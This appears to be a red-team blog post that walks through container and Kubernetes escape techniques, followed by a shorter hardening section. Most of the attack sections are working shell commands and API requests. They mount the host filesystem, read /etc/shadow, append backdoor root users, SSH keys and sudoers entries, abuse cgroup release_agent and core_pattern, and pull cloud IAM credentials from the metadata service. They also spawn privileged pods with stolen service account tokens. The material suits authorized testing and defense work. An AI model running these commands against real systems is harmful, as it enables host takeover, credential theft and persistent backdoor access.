Containers aren't virtual machines. This fundamental misunderstanding leads to security assumptions that attackers exploit daily. While containers provide process isolation through Linux namespaces and cgroups, they share the host kernel—and that shared surface creates opportunities for escape.
In this post, we'll walk through practical container escape techniques from a red team perspective. These methods range from trivial misconfigurations that grant instant host access to sophisticated kernel exploits. Understanding these techniques is essential for both offensive security professionals and defenders hardening container deployments.
Disclaimer: These techniques should only be used in authorized penetration testing engagements or controlled lab environments. Unauthorized access to computer systems is illegal.
Reconnaissance: Am I in a Container?
Before attempting escape, confirm you're actually in a container. Several indicators reveal containerized environments:
# Check for .dockerenv file (Docker-specific)
ls -la /.dockerenv
# Check cgroup membership
cat /proc/1/cgroup | grep -E 'docker|kubepods|containerd'
# Look for container-specific environment variables
env | grep -i kube
env | grep -i docker
# Check hostname (often container ID)
hostname
# Inspect mount points
mount | grep -E 'overlay|aufs'
cat /proc/1/mountinfo
# Check for limited process visibility
ps aux # Container typically shows few processes
# Look for container runtime sockets
ls -la /var/run/docker.sock
ls -la /run/containerd/containerd.sock
Tools like deepce and linpeas automate container detection and escape enumeration, identifying potential breakout vectors.
Escape via Privileged Containers
Easy Privileged Container Escape
Privileged containers disable nearly all isolation. They have full access to host devices, can load kernel modules, and can mount the host filesystem.
When a container runs with --privileged, the game is essentially over. The container has almost no isolation from the host.
Detection
# Check if running privileged
cat /proc/1/status | grep CapEff
# Privileged containers show: CapEff: 0000003fffffffff
# Or decode capabilities
capsh --decode=0000003fffffffff
# Check for /dev access
ls /dev # Privileged containers see all host devices
Exploitation: Mount Host Filesystem
The simplest escape mounts the host's root filesystem:
# List available disks
fdisk -l
# Or
lsblk
# Mount the host's root partition
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Now you have full host filesystem access
ls /mnt/host/etc/shadow
cat /mnt/host/etc/passwd
# Add SSH key for persistent access
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys
# Or add a new root user
echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
Exploitation: Escape via cgroups
An alternative technique abuses cgroup release_agent functionality:
# Create a cgroup
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/escape
# Enable notifications
echo 1 > /tmp/cgrp/escape/notify_on_release
# Get host path to container
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# Set release_agent to our payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Create payload that runs on host
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
# Trigger the release_agent by creating and removing a process
sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs"
# Read the output
cat /output
Escape via Mounted Docker Socket
Easy Docker Socket Escape
When the Docker socket is mounted into a container, attackers can communicate directly with the Docker daemon to spawn privileged containers or access the host.
Mounting /var/run/docker.sock into containers is common for CI/CD pipelines, monitoring tools, and container management applications. It's also a direct path to host compromise.
Detection
# Check for Docker socket
ls -la /var/run/docker.sock
# Verify Docker access
curl --unix-socket /var/run/docker.sock http://localhost/version
Exploitation
With Docker socket access, spawn a privileged container that mounts the host filesystem:
# Using curl (if docker CLI isn't available)
# Create a privileged container mounting host root
curl --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/create?name=pwned" \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh", "-c", "cat /host/etc/shadow"],
"Privileged": true,
"HostConfig": {
"Binds": ["/:/host"],
"Privileged": true
}
}'
# Start the container
curl --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/pwned/start"
# Get output
curl --unix-socket /var/run/docker.sock \
"http://localhost/containers/pwned/logs?stdout=true"
If the Docker CLI is available, it's even simpler:
# Run privileged container with host filesystem
docker run -it --privileged --pid=host --net=host \
-v /:/host alpine chroot /host /bin/bash
# You now have a root shell on the host
Escape via Dangerous Capabilities
Medium Capability Abuse
Linux capabilities provide granular privileges. Certain capabilities, even without full privileged mode, enable container escape.
Containers don't need --privileged to be dangerous. Specific capabilities can enable escape:
CAP_SYS_ADMIN
This capability is almost as dangerous as full privileged mode. It allows mounting filesystems, including the host's:
# Check capabilities
cat /proc/1/status | grep Cap
capsh --decode=<hex_value>
# If CAP_SYS_ADMIN is present, mount host filesystem
mount /dev/sda1 /mnt
CAP_SYS_PTRACE
Allows attaching to processes. Combined with host PID namespace, this enables process injection on the host:
# If running with --pid=host and CAP_SYS_PTRACE
# Find a host process
ps aux | grep root
# Inject into the process (requires appropriate tooling)
# Tools like linux-inject can inject shared libraries
CAP_NET_ADMIN
Enables network configuration changes. While not a direct escape, it can enable network-based attacks against the host or other containers.
CAP_DAC_READ_SEARCH
Bypasses file read permission checks. With the shocker exploit technique, this can read arbitrary host files:
# The shocker exploit opens files by brute-forcing file handles
# pointing to host filesystem through /proc/self/fd/
# Simplified concept (actual exploit requires C code):
# 1. Open a file in the container
# 2. Use open_by_handle_at() with guessed handle values
# 3. Handles may resolve to host filesystem files
Escape via Sensitive Mounts
Medium Sensitive Mount Exploitation
Certain host paths, when mounted into containers, provide escape opportunities even without elevated privileges.
/proc/sys Mounted Writable
If /proc/sys is mounted read-write (rare but happens), you can modify kernel parameters:
# Enable core dumps to arbitrary location
echo "|/path/to/malicious/script" > /proc/sys/kernel/core_pattern
# Trigger a crash to execute the script on host
sleep 100 &
kill -SIGSEGV $!
/etc or /root Mounted
Direct access to host configuration directories enables credential theft and backdoor installation:
# If /etc is mounted from host
cat /etc/shadow # Grab password hashes
echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
# If /root is mounted
cat /root/.ssh/id_rsa # Steal SSH keys
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
/var/log Mounted
Write access to host logs can enable escape via log injection if services process logs unsafely, or provide reconnaissance through log analysis.
Escape via Kernel Exploits
Hard Kernel Exploitation
Since containers share the host kernel, kernel vulnerabilities affect all containers and can provide direct host access.
Kernel exploits are the nuclear option—they bypass container isolation entirely by exploiting the shared kernel. Several high-profile vulnerabilities have enabled container escapes:
CVE-2022-0847 (Dirty Pipe)
Allowed overwriting read-only files by abusing pipe buffer handling. Exploitation was trivial and didn't require special capabilities:
# Dirty Pipe could overwrite /etc/passwd even in unprivileged containers
# The exploit:
# 1. Create a pipe
# 2. Fill it with data
# 3. Splice a target file into the pipe
# 4. Write data that overwrites the file content
# This allowed adding root users or modifying any file
CVE-2020-14386
Memory corruption in AF_PACKET sockets enabled privilege escalation from container to host.
CVE-2021-22555 (Netfilter Heap OOB)
Out-of-bounds write in Netfilter enabled container escape with CAP_NET_ADMIN capability.
Mitigation Note
Kernel exploits emphasize why keeping container hosts patched is critical. The shared kernel means one vulnerability affects all workloads. Consider:
- Regular kernel updates on container hosts
- Using hardened kernels (grsecurity, SELinux, AppArmor)
- Running containers in lightweight VMs (Kata Containers, gVisor) for strong isolation
Escape via Host Networking
Medium Host Network Namespace Abuse
Containers running with --net=host share the host's network stack, enabling attacks against localhost services.
When a container uses the host network namespace, it can access services bound to localhost on the host:
# Scan host localhost services
nmap -sT 127.0.0.1
# Common targets:
# - Docker API (2375/2376)
# - Kubernetes API (6443, 8080)
# - etcd (2379)
# - Cloud metadata services (169.254.169.254)
# - Local databases
# If Docker API is exposed locally
curl http://127.0.0.1:2375/containers/json
# Access cloud metadata (if on cloud instance)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Kubernetes-Specific Escapes
Kubernetes introduces additional escape vectors through its orchestration layer:
Service Account Token Abuse
Kubernetes mounts service account tokens into pods. If the service account has excessive permissions:
# Default token location
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Use token to query API
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Check permissions
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"create","resource":"pods"}}}'
# If we can create pods, spawn a privileged one
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/default/pods \
-X POST -H "Content-Type: application/json" \
-d '{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {"name": "pwned"},
"spec": {
"containers": [{
"name": "pwned",
"image": "alpine",
"command": ["/bin/sh", "-c", "cat /host/etc/shadow"],
"securityContext": {"privileged": true},
"volumeMounts": [{"name": "host", "mountPath": "/host"}]
}],
"volumes": [{"name": "host", "hostPath": {"path": "/"}}]
}
}'
Node Access via hostPath
If you can create pods with hostPath volumes, you can access any node's filesystem:
# Pod spec that mounts host filesystem
apiVersion: v1
kind: Pod
metadata:
name: hostpath-escape
spec:
containers:
- name: escape
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: hostfs
mountPath: /host
volumes:
- name: hostfs
hostPath:
path: /
type: Directory
Defense: Preventing Container Escapes
Understanding these techniques informs defensive strategy:
Never Run Privileged Containers in Production
Use specific capabilities instead of --privileged. Audit workloads requesting privileged mode.
Protect the Docker Socket
Never mount /var/run/docker.sock into untrusted containers. Use Docker's authorization plugins or rootless Docker for CI/CD.
Drop Capabilities
Explicitly drop all capabilities and add only what's required:
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE myapp
Enable User Namespaces
Remap container root to unprivileged host user:
dockerd --userns-remap=default
Use Read-Only Root Filesystem
docker run --read-only --tmpfs /tmp myapp
Apply Seccomp and AppArmor Profiles
Restrict system calls available to containers:
docker run --security-opt seccomp=profile.json myapp
docker run --security-opt apparmor=docker-default myapp
Keep Kernels Patched
Container escapes via kernel exploits are common. Maintain aggressive patching on container hosts.
Consider Strong Isolation
For sensitive workloads, use Kata Containers, gVisor, or Firecracker to provide VM-level isolation for containers.
Conclusion
Container isolation is weaker than many assume. The shared kernel, combined with common misconfigurations like privileged mode and mounted sockets, creates numerous escape paths. Red teams should enumerate these vectors during container environment assessments; defenders should treat container security as defense-in-depth rather than a hard boundary.
The key insight: containers are not security boundaries in the same way VMs are. Design your architecture accordingly, and assume that container compromise may lead to host compromise unless explicit hardening prevents it.
- Docker - Container platform
- deepce - Docker enumeration and escape tool
- CDK - Container penetration toolkit
- amicontained - Check container runtime
- LinPEAS - Works inside containers too
- HackTricks Docker Security - Comprehensive reference